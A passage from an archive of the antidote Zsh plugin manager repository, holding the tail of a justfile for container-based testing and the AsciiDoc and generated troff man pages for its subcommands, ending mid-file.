"$PWD:/workspace:z" antidote-zsh-latest \ /bin/zsh -c 'cd /workspace && just test-real local' else print -ru2 "just: invalid env '{{env}}' — expected 'latest', '542', or 'local'" exit 1 fi # profile antidote operations with zprof (env: "latest", "542", or "local") profile env="latest": #!/usr/bin/env zsh if [[ "{{env}}" == "local" ]]; then ./tools/antidote-profile elif [[ "{{env}}" == "542" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh542 \ /usr/local/bin/zsh -c 'cd /workspace && ./tools/antidote-profile' elif [[ "{{env}}" == "latest" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh-latest \ /bin/zsh -c 'cd /workspace && ./tools/antidote-profile' else print -ru2 "just: invalid env '{{env}}' — expected 'latest', '542', or 'local'" exit 1 fi # bump the major version (X.0.0) bump-maj: ./tools/bumpver major # bump the minor version (0.X.0) bump-min: ./tools/bumpver minor # bump the revision version (0.0.X) bump-rev: ./tools/bumpver revision # show antidote diagnostics (env: "latest", "542", or "local") diagnostics env="latest": #!/usr/bin/env zsh local cmd='source ./tests/__init__.zsh && t_setup && antidote --diagnostics' if [[ "{{env}}" == "local" ]]; then eval "$cmd" elif [[ "{{env}}" == "542" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh542 \ /usr/local/bin/zsh -c "cd /workspace && $cmd" elif [[ "{{env}}" == "latest" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh-latest \ /bin/zsh -c "cd /workspace && $cmd" else print -ru2 "just: invalid env '{{env}}' — expected 'latest', '542', or 'local'" exit 1 fi # start podman machine and build all test containers container-up: podman machine start 2>/dev/null || true just container-build just container-build 542 # build a test container (use '542' for Zsh 5.4.2) container-build zshver="latest": #!/usr/bin/env zsh if [[ "{{zshver}}" == "542" ]]; then podman build -f Dockerfile.542 -t antidote-zsh542 . else podman build -t antidote-zsh-latest . fi # force-remove and rebuild a test container (use '542' for Zsh 5.4.2) container-rebuild zshver="latest": #!/usr/bin/env zsh if [[ "{{zshver}}" == "542" ]]; then podman rmi -f antidote-zsh542 2>/dev/null || true podman build -f Dockerfile.542 -t antidote-zsh542 . else podman rmi -f antidote-zsh-latest 2>/dev/null || true podman build -t antidote-zsh-latest . fi # open a shell in a test container (use '542' for Zsh 5.4.2) container-shell zshver="latest": #!/usr/bin/env zsh image="antidote-zsh-latest" [[ "{{zshver}}" == "542" ]] && image="antidote-zsh542" podman run -it --rm -v "$PWD:/workspace:z" "$image" mattmc3-antidote-4913257/man/000077500000000000000000000000001516600341500156435ustar00rootroot00000000000000mattmc3-antidote-4913257/man/antidote-bundle.adoc000066400000000000000000000105361516600341500215560ustar00rootroot00000000000000= antidote-bundle(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-bundle - download a bundle and print its source line == Synopsis *antidote bundle* [...] == Description *antidote-bundle* assembles your Zsh plugins. Bundles can be git repos, or local files or directories. If a plugin is a repo, it will be cloned if necessary. The zsh code necessary to load (source) the plugin is then printed. ---- antidote bundle gituser/gitrepo antidote bundle $ZSH_CUSTOM/plugins/myplugin antidote bundle ${ZDOTDIR:-$HOME}/.zlibs/myfile.zsh ---- Bundles also support annotations. Annotations allow you have finer grained control over your plugins. Annotations are used in the form `keyword:value`. `kind`:: * *zsh*: A zsh plugin. This is the default kind of bundle. * *fpath*: Only add the plugin to your `$fpath`. * *path*: Add the plugin to your `$PATH`. * *clone*: Only clone a plugin, but don't do anything else with it. * *defer*: Defers loading of a plugin using `romkatv/zsh-defer`. * *autoload*: Autoload all the files in the plugin directory as zsh functions. `branch`:: The branch annotation allows you to change the default branch of a plugin's repo from *main* to a branch of your choosing. `path`:: The path annotation allows you to use a subdirectory or file within a plugin's structure instead of the root plugin (eg: `path:plugins/subplugin`). `conditional`:: The conditional annotation allows you to wrap an *if* statement around a plugin's load script. Supply the name of a zero argument zsh function to conditional to perform the test (eg: `conditional:is-macos`). `pre` / `post`:: The pre and post annotations allow you to call a function before or after a plugin's load script. This is helpful when configuring plugins, since the configuration functions will only run for active plugins. Supply the name of a zero argument zsh function to pre or post. `autoload`:: The autoload annotation allows you to autoload a zsh functions directory in addition to however the plugin was loaded as specified by `kind`. Supply a relative path to autoload (eg: `autoload:functions`). `pin`:: The pin annotation allows you to lock a bundle to a specific commit SHA (eg: `pin:abc1234`). A pinned bundle will be cloned at the specified commit and will be skipped during `antidote update`. This is useful for preventing unwanted upstream changes from affecting your environment. Use `branch:` for tags or branches. Cloned repo directory naming can be controlled with the following `zstyle`: ---- zstyle ':antidote:bundle' path-style full # github.com/owner/repo (default) zstyle ':antidote:bundle' path-style short # owner/repo zstyle ':antidote:bundle' path-style escaped # https-COLON--SLASH--SLASH-github.com-SLASH-owner-SLASH-repo ---- == Options *-h, --help*:: Show the help documentation. *...*:: Zsh plugin bundles. == Examples Using the *kind:* annotation: ---- # a regular plugin (kind:zsh is implied, so it's unnecessary) antidote bundle zsh-users/zsh-history-substring-search kind:zsh ---- ---- # add prompt plugins to $fpath antidote bundle sindresorhus/pure kind:fpath ---- ---- # add utility plugins to $PATH antidote bundle romkatv/zsh-bench kind:path ---- ---- # clone a repo for use in other ways antidote bundle mbadolato/iTerm2-Color-Schemes kind:clone ---- ---- # autoload a functions directory antidote bundle sorin-ionescu/prezto path:modules/utility/functions kind:autoload ---- ---- # defer a plugin to speed up load times antidote bundle olets/zsh-abbr kind:defer ---- Using the *branch:* annotation: ---- # don't use the main branch, use develop instead antidote bundle zsh-users/zsh-autosuggestions branch:develop ---- Using the *path:* annotation: ---- # load oh-my-zsh antidote bundle ohmyzsh/ohmyzsh path:lib antidote bundle ohmyzsh/ohmyzsh path:plugins/git ---- Using the *pin:* annotation: ---- # pin a plugin to a specific commit SHA antidote bundle zsh-users/zsh-autosuggestions pin:abc1234 ---- ---- # pin a plugin to a specific commit SHA antidote bundle zsh-users/zsh-syntax-highlighting pin:abc1234 ---- Using the *conditional:* annotation: ---- # define a conditional function prior to loading antidote function is_macos { [[ $OSTYPE == darwin* ]] || return 1 } # conditionally load a plugin using the function you made antidote bundle ohmyzsh/ohmyzsh path:plugins/macos conditional:is_macos ---- mattmc3-antidote-4913257/man/antidote-help.adoc000066400000000000000000000006141516600341500212310ustar00rootroot00000000000000= antidote-help(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-help - show antidote documentation == Synopsis *antidote help* [] == Description *antidote-help* is used to show context-sensitive help for antidote and its commands. == Options *-h, --help*:: Inception-style meta-help recursively. **:: Show help for a specific command. mattmc3-antidote-4913257/man/antidote-home.adoc000066400000000000000000000011351516600341500212300ustar00rootroot00000000000000= antidote-home(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-home - print where antidote is cloning bundles == Synopsis *antidote home* == Description *antidote-home* shows you where antidote stores its cloned repos. It is not the home of the antidote utility itself. ---- antidote home ---- You can override antidote's default home directory by setting the `$ANTIDOTE_HOME` variable in your `.zshrc`. == Options *-h, --help*:: Show the help documentation. == Examples You can clear out all your cloned repos like so: ---- rm -rfi "$(antidote home)" ---- mattmc3-antidote-4913257/man/antidote-init.adoc000066400000000000000000000016121516600341500212430ustar00rootroot00000000000000= antidote-init(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-init - initialize the shell for dynamic bundles == Synopsis `source <(antidote init)` == Description *antidote-init* changes how the *antidote* command works by causing *antidote bundle* to automatically source its own output instead of just generating the Zsh script for a static file. This behavior exists mainly to support legacy antigen/antibody usage. Static bundling is highly recommended for the best performance. However, dynamic bundling may be preferable for some scenarios, so you can rely on this functionality remaining a key feature in *antidote* to support users preferring dynamic bundles. Typical usage involves adding this snippet to your `.zshrc` before using `antidote bundle` commands: ---- source <(antidote init) ---- == Options *-h, --help*:: Show the help documentation. mattmc3-antidote-4913257/man/antidote-install.adoc000066400000000000000000000031401516600341500217440ustar00rootroot00000000000000= antidote-install(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-install - install a bundle == Synopsis *antidote install* [-h|--help] [-k|--kind ] [-p|--path ] [-a|--autoload ] [-c|--conditional ] [--pre ] [--post ] [--pin ] [-b|--branch ] [] == Description *antidote-install* clones a new bundle and adds it to your plugins file. The default bundle file is `${ZDOTDIR:-$HOME}/.zsh_plugins.txt`. This can be overridden with the following `zstyle`: ---- zstyle ':antidote:bundle' file /path/to/my/bundle_file.txt ---- == Options *-h, --help*:: Show the help documentation. *-k, --kind *:: The kind of bundle. Valid values: autoload, fpath, path, clone, defer, zsh. *-p, --path *:: A relative subpath within the bundle where the plugin is located. *-b, --branch *:: The git branch to use. *-a, --autoload *:: A relative subpath within the bundle where autoload function files are located. *-c, --conditional *:: A conditional function used to check whether to load the bundle. *--pre *:: A function to be called prior to loading the bundle. *--post *:: A function to be called after loading the bundle. *--pin *:: Pin the bundle to a specific commit SHA. Pinned bundles are skipped during `antidote update`. **:: Bundle to be installed. *[]*:: Bundle file to write to if not using the default. Defaults to `${ZDOTDIR:-$HOME}/.zsh_plugins.txt` or the `zstyle` setting. == Examples ---- antidote install zsh-users/zsh-history-substring-search ---- mattmc3-antidote-4913257/man/antidote-list.adoc000066400000000000000000000015071516600341500212560ustar00rootroot00000000000000= antidote-list(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-list - list cloned bundles == Synopsis *antidote list* [-h|--help] *antidote list* [-l|--long] [-d|--dirs] [-u|--url] [-j|--jsonl] == Description *antidote-list* lists the cloned bundles in *antidote home*. By default, bundle path and URL pairs are shown one per line with path first. Use *--long* for a verbose key-value view of each bundle, *--dirs* to show directory paths, *--url* to show URLs only, or *--jsonl* for machine-readable output. == Options *-h, --help*:: Show the help documentation. *-l, --long*:: Show detailed information for each bundle (repo, path, URL, SHA, pin status). *-d, --dirs*:: Show bundle directory paths. *-u, --url*:: Show bundle URLs only. *-j, --jsonl*:: Output the bundle list in JSONL format. mattmc3-antidote-4913257/man/antidote-load.adoc000066400000000000000000000020071516600341500212160ustar00rootroot00000000000000= antidote-load(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-load - statically source bundles == Synopsis *antidote load* [ []] == Description *antidote-load* will turn the bundle file into a static load file and then source it. The default bundle file is `${ZDOTDIR:-$HOME}/.zsh_plugins.txt`. This can be overridden with the following `zstyle`: ---- zstyle ':antidote:bundle' file /path/to/my/bundle_file.txt ---- The default static file is `${ZDOTDIR:-$HOME}/.zsh_plugins.zsh`. This can be overridden with the following `zstyle`: ---- zstyle ':antidote:static' file /path/to/my/static_file.zsh ---- == Options *-h, --help*:: Show the help documentation. *[]*:: The plugins file to source if not using the default. Defaults to `${ZDOTDIR:-$HOME}/.zsh_plugins.txt` or the `zstyle` setting. *[]*:: The static plugins file to generate if not using the default. Defaults to `${ZDOTDIR:-$HOME}/.zsh_plugins.zsh` or the `zstyle` setting. mattmc3-antidote-4913257/man/antidote-path.adoc000066400000000000000000000005601516600341500212350ustar00rootroot00000000000000= antidote-path(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-path - print the path of a cloned bundle == Synopsis *antidote path* == Description *antidote-path* prints the path of a cloned bundle. == Options *-h, --help*:: Show the help documentation. *[]*:: The bundle whose cloned path will be printed. mattmc3-antidote-4913257/man/antidote-purge.adoc000066400000000000000000000006611516600341500214250ustar00rootroot00000000000000= antidote-purge(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-purge - remove a bundle == Synopsis *antidote purge* == Description *antidote-purge* removes a cloned bundle. == Options *-h, --help*:: Show the help documentation. *-a, --all*:: Purge all cloned bundles. **:: Bundle to be purged. == Examples ---- antidote purge zsh-users/zsh-history-substring-search ---- mattmc3-antidote-4913257/man/antidote-snapshot.adoc000066400000000000000000000056261516600341500221500ustar00rootroot00000000000000= antidote-snapshot(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-snapshot - save, restore, remove, or list bundle snapshots == Synopsis *antidote snapshot* home *antidote snapshot* list *antidote snapshot* remove [...] *antidote snapshot* restore [] *antidote snapshot* save [] == Description *antidote-snapshot* manages point-in-time snapshots of your cloned bundles. A snapshot is a bundle file where every repository is annotated with `kind:clone pin:`, capturing the exact commit of each cloned bundle. Snapshots are saved automatically during `antidote update` in static mode. They are not created in dynamic mode. By default, snapshots are stored in `$XDG_DATA_HOME/antidote/snapshots` (or `~/Library/Application Support/antidote/snapshots` on macOS). A rolling history is maintained, with older snapshots pruned beyond the configured maximum. == Subcommands *home*:: Print the path to the snapshot directory. *list*:: List all available snapshot files. *remove*:: Remove snapshot files. If no file is given and `fzf` is available, an interactive multi-select picker is shown. *restore*:: Restore bundles from a snapshot file. If no file is given, the most recent snapshot is used. *save*:: Save a snapshot of all currently cloned bundles. Optionally specify a file path; otherwise a timestamped file is created in the snapshot directory. == Options *-h, --help*:: Show the help documentation. == Configuration The snapshot directory can be customized: ---- zstyle ':antidote:snapshot' dir ~/.antidote-snapshots ---- The maximum number of snapshots to keep (default 100): ---- zstyle ':antidote:snapshot' max 25 ---- The command used for interactive snapshot selection (default `fzf`). Set it to an empty value to disable picker-based selection: ---- zstyle ':antidote:fzf' cmd fzf zstyle ':antidote:fzf' cmd '' ---- Set the `FZF_DEFAULT_OPTS` and `FZF_DEFAULT_OPTS_FILE` used for fzf in antidote: ---- zstyle ':antidote:fzf' opts "--height=40% --layout=reverse" zstyle ':antidote:fzf' opts_file ~/.config/antidote/fzf-opts ---- If `bat` is installed, it is used for syntax-highlighted fzf previews. If the Antidote Bundle syntax definition is also installed, it will be used; otherwise bat falls back to `properties` syntax. Set bat options with the following zstyle: ---- zstyle ':antidote:bat' opts "--style=plain" ---- Disable auto-snapshots on `antidote update` (explicit `antidote snapshot save` still works): ---- zstyle ':antidote:snapshot:automatic' enabled no ---- == Examples Show where snapshots are stored: ---- antidote snapshot home ---- Save a snapshot: ---- antidote snapshot save ---- List snapshots: ---- antidote snapshot list ---- Restore from the most recent snapshot: ---- antidote snapshot restore ---- Restore from a specific snapshot: ---- antidote snapshot restore ~/.local/share/antidote/snapshots/snapshot-20260101-120000.txt ---- mattmc3-antidote-4913257/man/antidote-update.adoc000066400000000000000000000013471516600341500215670ustar00rootroot00000000000000= antidote-update(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote-update - update bundles == Synopsis *antidote update* [-h|--help] [-s|--self] [-b|--bundles] [-n|--dry-run] == Description *antidote-update* updates antidote and its cloned bundles. Bundles that have been pinned with the `pin:` annotation will be skipped. In static mode, a snapshot is automatically saved before updating so you can restore to the previous state if needed (see *antidote-snapshot*). == Options *-h, --help*:: Show the help documentation. *-s, --self*:: Update antidote. *-b, --bundles*:: Update bundles. *-n, --dry-run*:: Check for available updates without making any changes. == Examples ---- antidote update ---- mattmc3-antidote-4913257/man/antidote.adoc000066400000000000000000000141631516600341500203070ustar00rootroot00000000000000= antidote(1) :doctype: manpage :manmanual: Antidote Manual :mansource: antidote == Name antidote - the cure to slow zsh plugin management == Synopsis *antidote* [-v | --version] [-h | --help] [--diagnostics] [ ...] == Description *antidote* is a Zsh plugin manager made from the ground up thinking about performance. It is fast because it can do things concurrently, and generates an ultra-fast static plugin file that you can easily load from your Zsh config. It is written natively in Zsh, is well tested, and picks up where Antigen and Antibody left off. == Options *-h, --help*:: Show context-sensitive help for antidote. *-v, --version*:: Show currently installed antidote version. *--diagnostics*:: Show antidote and system diagnostics. == Commands *help*:: Show documentation *load*:: Statically source all bundles from the plugins file *bundle*:: Clone bundle(s) and generate the static load script *install*:: Clone a new bundle and add it to your plugins file *update*:: Update antidote and its cloned bundles *purge*:: Remove a cloned bundle *home*:: Print where antidote is cloning bundles *list*:: List cloned bundles *path*:: Print the path of a cloned bundle *snapshot*:: Save, restore, or list bundle snapshots *init*:: Initialize the shell for dynamic bundles == Examples === A Simple Config Create a `.zsh_plugins.txt` file with a list of the plugins you want: ---- # ${ZDOTDIR:-$HOME}/.zsh_plugins.txt zsh-users/zsh-syntax-highlighting zsh-users/zsh-history-substring-search zsh-users/zsh-autosuggestions ---- Now, simply load your newly created static plugins file in your `.zshrc`. ---- # ${ZDOTDIR:-$HOME}/.zshrc source /path/to/antidote/antidote.zsh antidote load ---- === A More Advanced Config Your `.zsh_plugins.txt` file supports annotations. Annotations tell antidote how to do things like load plugins from alternate paths. This lets you use plugins from popular frameworks like Oh-My-Zsh: ---- # ${ZDOTDIR:-$HOME}/.zsh_plugins.txt ohmyzsh/ohmyzsh path:lib ohmyzsh/ohmyzsh path:plugins/git ohmyzsh/ohmyzsh path:plugins/magic-enter etc... ---- === Dynamic Bundling Users familiar with legacy plugin managers like Antigen might prefer to use dynamic bundling. With dynamic bundling you sacrifice some performance to avoid having separate plugin files. To use dynamic bundling, we need to change how *antidote bundle* handles your plugins. We do this by sourcing the output from *antidote init*. An example config might look like this: ---- source /path/to/antidote/antidote.zsh source <(antidote init) antidote bundle zsh-users/zsh-autosuggestions antidote bundle ohmyzsh/ohmyzsh path:lib antidote bundle ohmyzsh/ohmyzsh path:plugins/git ---- Instead of calling *antidote bundle* over and over, you might prefer to load bundles with a HEREDOC. ---- source /path/to/antidote/antidote.zsh source <(antidote init) antidote bundle <\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-bundle \- download a bundle and print its source line .SH "SYNOPSIS" .sp \fBantidote bundle\fP [.\|.\|.] .SH "DESCRIPTION" .sp \fBantidote\-bundle\fP assembles your Zsh plugins. Bundles can be git repos, or local files or directories. If a plugin is a repo, it will be cloned if necessary. The zsh code necessary to load (source) the plugin is then printed. .sp .if n .RS 4 .nf .fam C antidote bundle gituser/gitrepo antidote bundle $ZSH_CUSTOM/plugins/myplugin antidote bundle ${ZDOTDIR:\-$HOME}/.zlibs/myfile.zsh .fam .fi .if n .RE .sp Bundles also support annotations. Annotations allow you have finer grained control over your plugins. Annotations are used in the form \f(CRkeyword:value\fP. .sp \f(CRkind\fP .RS 4 .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBzsh\fP: A zsh plugin. This is the default kind of bundle. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBfpath\fP: Only add the plugin to your \f(CR$fpath\fP. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBpath\fP: Add the plugin to your \f(CR$PATH\fP. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBclone\fP: Only clone a plugin, but don\(cqt do anything else with it. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBdefer\fP: Defers loading of a plugin using \f(CRromkatv/zsh\-defer\fP. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} \fBautoload\fP: Autoload all the files in the plugin directory as zsh functions. .RE .RE .sp \f(CRbranch\fP .RS 4 The branch annotation allows you to change the default branch of a plugin\(cqs repo from \fBmain\fP to a branch of your choosing. .RE .sp \f(CRpath\fP .RS 4 The path annotation allows you to use a subdirectory or file within a plugin\(cqs structure instead of the root plugin (eg: \f(CRpath:plugins/subplugin\fP). .RE .sp \f(CRconditional\fP .RS 4 The conditional annotation allows you to wrap an \fBif\fP statement around a plugin\(cqs load script. Supply the name of a zero argument zsh function to conditional to perform the test (eg: \f(CRconditional:is\-macos\fP). .RE .sp \f(CRpre\fP / \f(CRpost\fP .RS 4 The pre and post annotations allow you to call a function before or after a plugin\(cqs load script. This is helpful when configuring plugins, since the configuration functions will only run for active plugins. Supply the name of a zero argument zsh function to pre or post. .RE .sp \f(CRautoload\fP .RS 4 The autoload annotation allows you to autoload a zsh functions directory in addition to however the plugin was loaded as specified by \f(CRkind\fP. Supply a relative path to autoload (eg: \f(CRautoload:functions\fP). .RE .sp \f(CRpin\fP .RS 4 The pin annotation allows you to lock a bundle to a specific commit SHA (eg: \f(CRpin:abc1234\fP). A pinned bundle will be cloned at the specified commit and will be skipped during \f(CRantidote update\fP. This is useful for preventing unwanted upstream changes from affecting your environment. Use \f(CRbranch:\fP for tags or branches. .RE .sp Cloned repo directory naming can be controlled with the following \f(CRzstyle\fP: .sp .if n .RS 4 .nf .fam C zstyle \*(Aq:antidote:bundle\*(Aq path\-style full\& # github.com/owner/repo (default) zstyle \*(Aq:antidote:bundle\*(Aq path\-style short\& # owner/repo zstyle \*(Aq:antidote:bundle\*(Aq path\-style escaped\& # https\-COLON\-\-SLASH\-\-SLASH\-github.com\-SLASH\-owner\-SLASH\-repo .fam .fi .if n .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .sp \fB.\|.\|.\fP .RS 4 Zsh plugin bundles. .RE .SH "EXAMPLES" .sp Using the \fBkind:\fP annotation: .sp .if n .RS 4 .nf .fam C # a regular plugin (kind:zsh is implied, so it\*(Aqs unnecessary) antidote bundle zsh\-users/zsh\-history\-substring\-search kind:zsh .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # add prompt plugins to $fpath antidote bundle sindresorhus/pure kind:fpath .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # add utility plugins to $PATH antidote bundle romkatv/zsh\-bench kind:path .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # clone a repo for use in other ways antidote bundle mbadolato/iTerm2\-Color\-Schemes kind:clone .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # autoload a functions directory antidote bundle sorin\-ionescu/prezto path:modules/utility/functions kind:autoload .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # defer a plugin to speed up load times antidote bundle olets/zsh\-abbr kind:defer .fam .fi .if n .RE .sp Using the \fBbranch:\fP annotation: .sp .if n .RS 4 .nf .fam C # don\*(Aqt use the main branch, use develop instead antidote bundle zsh\-users/zsh\-autosuggestions branch:develop .fam .fi .if n .RE .sp Using the \fBpath:\fP annotation: .sp .if n .RS 4 .nf .fam C # load oh\-my\-zsh antidote bundle ohmyzsh/ohmyzsh path:lib antidote bundle ohmyzsh/ohmyzsh path:plugins/git .fam .fi .if n .RE .sp Using the \fBpin:\fP annotation: .sp .if n .RS 4 .nf .fam C # pin a plugin to a specific commit SHA antidote bundle zsh\-users/zsh\-autosuggestions pin:abc1234 .fam .fi .if n .RE .sp .if n .RS 4 .nf .fam C # pin a plugin to a specific commit SHA antidote bundle zsh\-users/zsh\-syntax\-highlighting pin:abc1234 .fam .fi .if n .RE .sp Using the \fBconditional:\fP annotation: .sp .if n .RS 4 .nf .fam C # define a conditional function prior to loading antidote function is_macos { [[ $OSTYPE == darwin* ]] || return 1 } # conditionally load a plugin using the function you made antidote bundle ohmyzsh/ohmyzsh path:plugins/macos conditional:is_macos .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-help.1000066400000000000000000000024431516600341500213210ustar00rootroot00000000000000'\" t .\" Title: antidote-help .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-HELP" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-help \- show antidote documentation .SH "SYNOPSIS" .sp \fBantidote help\fP [] .SH "DESCRIPTION" .sp \fBantidote\-help\fP is used to show context\-sensitive help for antidote and its commands. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Inception\-style meta\-help recursively. .RE .sp \fB\fP .RS 4 Show help for a specific command. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-home.1000066400000000000000000000031001516600341500213100ustar00rootroot00000000000000'\" t .\" Title: antidote-home .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-HOME" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-home \- print where antidote is cloning bundles .SH "SYNOPSIS" .sp \fBantidote home\fP .SH "DESCRIPTION" .sp \fBantidote\-home\fP shows you where antidote stores its cloned repos. It is not the home of the antidote utility itself. .sp .if n .RS 4 .nf .fam C antidote home .fam .fi .if n .RE .sp You can override antidote\(cqs default home directory by setting the \f(CR$ANTIDOTE_HOME\fP variable in your \f(CR.zshrc\fP. .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .SH "EXAMPLES" .sp You can clear out all your cloned repos like so: .sp .if n .RS 4 .nf .fam C rm \-rfi "$(antidote home)" .fam .fi .if n .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-init.1000066400000000000000000000035211516600341500213320ustar00rootroot00000000000000'\" t .\" Title: antidote-init .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2025-12-13 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-INIT" "1" "2025-12-13" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . ad l . . . LINKSTYLE blue R < > .\} .SH "NAME" antidote-init \- initialize the shell for dynamic bundles .SH "SYNOPSIS" .sp \f(CRsource <(antidote init)\fP .SH "DESCRIPTION" .sp \fBantidote\-init\fP changes how the \fBantidote\fP command works by causing \fBantidote bundle\fP to automatically source its own output instead of just generating the Zsh script for a static file. .sp This behavior exists mainly to support legacy antigen/antibody usage. Static bundling is highly recommended for the best performance. However, dynamic bundling may be preferable for some scenarios, so you can rely on this functionality remaining a key feature in \fBantidote\fP to support users preferring dynamic bundles. .sp Typical usage involves adding this snippet to your \f(CR.zshrc\fP before using \f(CRantidote bundle\fP commands: .sp .if n .RS 4 .nf .fam C source <(antidote init) .fam .fi .if n .RE .SH "OPTIONS" .sp \fB\-h, \-\-help\fP .RS 4 Show the help documentation. .RE .SH "BUGS" .sp See GitHub Issues: \c .URL "https://github.com/mattmc3/antidote/issues" "" "" .SH "AUTHORS" .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} Copyright (c) 2021\-2026 Matt McElheny .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ . sp -1 . IP \(bu 2.3 .\} antidote contributors: \c .URL "https://github.com/mattmc3/antidote/graphs/contributors" "" "" .RE .SH "LICENSE" .sp MITmattmc3-antidote-4913257/man/man1/antidote-install.1000066400000000000000000000054541516600341500220440ustar00rootroot00000000000000'\" t .\" Title: antidote-install .\" Author: [see the "AUTHOR(S)" section] .\" Generator: Asciidoctor 2.0.26 .\" Date: 2026-03-23 .\" Manual: Antidote Manual .\" Source: antidote .\" Language: English .\" .TH "ANTIDOTE\-INSTALL" "1" "2026-03-23" "antidote" "Antidote Manual" .ie \n(.g .ds Aq \(aq .el .ds Aq ' .ss \n[.ss] 0 .nh .ad l .de URL \fI\\$2\fP <\\$1>\\$3 .. .als MTO URL .if \n[.g] \{\ . mso www.tmac . am URL . ad l . . . am MTO . 